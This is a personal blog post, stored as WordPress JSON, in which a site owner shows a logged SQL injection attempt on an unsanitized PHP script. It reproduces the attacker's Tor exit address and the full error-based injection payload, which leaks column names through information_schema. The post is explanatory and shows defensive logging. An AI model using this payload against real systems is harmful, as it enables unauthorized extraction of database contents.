

{"id":7605,"date":"2013-06-24T00:19:34","date_gmt":"2013-06-24T04:19:34","guid":{"rendered":"http:\/\/streamingradioguide.com\/startingover\/?p=7605"},"modified":"2013-06-24T00:39:34","modified_gmt":"2013-06-24T04:39:34","slug":"what-an-sql-injection-attack-looks-like","status":"publish","type":"post","link":"https:\/\/streamingradioguide.com\/startingover\/?p=7605","title":{"rendered":"What an SQL injection attack looks like"},"content":{"rendered":"<p>This is just for really geeky people.  Last Friday, someone tried an SQL injection attack in the server to break into it &#8211; I&#8217;m sure the NSA is way too busy to care about me.   The basic idea is you look for a poorly written Php script that takes user input and directly use it without &#8220;sanitizing&#8221; the data &#8211; the attacker tries to add extra SQL &#8220;stuff&#8221; at the end, initially to get the database to give up the format of its tables, and then to give up the data in those tables.  The way I&#8217;ve done things, all that happens is I get an email showing me the attempted attack.<\/p>\n<p>So for your viewing pleasure:<\/p>\n<p>IP Address: 199.48.147.37<br \/>\nRemote Host: tor-exit-router37-readme.formlessnetworking.net<\/p>\n<p>SQL Statement:<\/p>\n<p>Select *,app_party.title as atitle from app_party<br \/>\ninner join party on app_party.party_id = party.party_id<br \/>\ninner join party_type on relation = party_type.party_role<br \/>\nwhere application_id = 1519855<\/p>\n<p>This is where my unsafe script intended for this query to end &#8211; because I didn&#8217;t sanitize the application ID, they stuck in ths extra &#8220;stuff&#8221;<\/p>\n<p> and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e,0x27,column_name,0x27,0x7e) from `information_schema`.columns where table_schema=0x776F72647072657373 and table_name=0x726164696F636861745F636F6D6D656E746D657461 limit 3,1)) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and 1=1 order by seq<\/p>\n<p>It&#8217;s always something.<\/p>\n<p>Poking around, this is a TOR exit point, which until recently I had banned &#8211; TOR is an anonymizer network run to allow people to do things like this that can&#8217;t be tracked back to the origin.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>This is just for really geeky people. Last Friday, someone tried an SQL injection attack in the server to break into it &#8211; I&#8217;m sure the NSA is way too busy to care about me. The basic idea is you &hellip; <a href=\"https:\/\/streamingradioguide.com\/startingover\/?p=7605\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[19],"tags":[],"class_list":["post-7605","post","type-post","status-publish","format-standard","hentry","category-about-the-guide"],"_links":{"self":[{"href":"https:\/\/streamingradioguide.com\/startingover\/index.php?rest_route=\/wp\/v2\/posts\/7605","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/streamingradioguide.com\/startingover\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/streamingradioguide.com\/startingover\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/streamingradioguide.com\/startingover\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/streamingradioguide.com\/startingover\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=7605"}],"version-history":[{"count":3,"href":"https:\/\/streamingradioguide.com\/startingover\/index.php?rest_route=\/wp\/v2\/posts\/7605\/revisions"}],"predecessor-version":[{"id":7608,"href":"https:\/\/streamingradioguide.com\/startingover\/index.php?rest_route=\/wp\/v2\/posts\/7605\/revisions\/7608"}],"wp:attachment":[{"href":"https:\/\/streamingradioguide.com\/startingover\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=7605"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/streamingradioguide.com\/startingover\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=7605"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/streamingradioguide.com\/startingover\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=7605"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}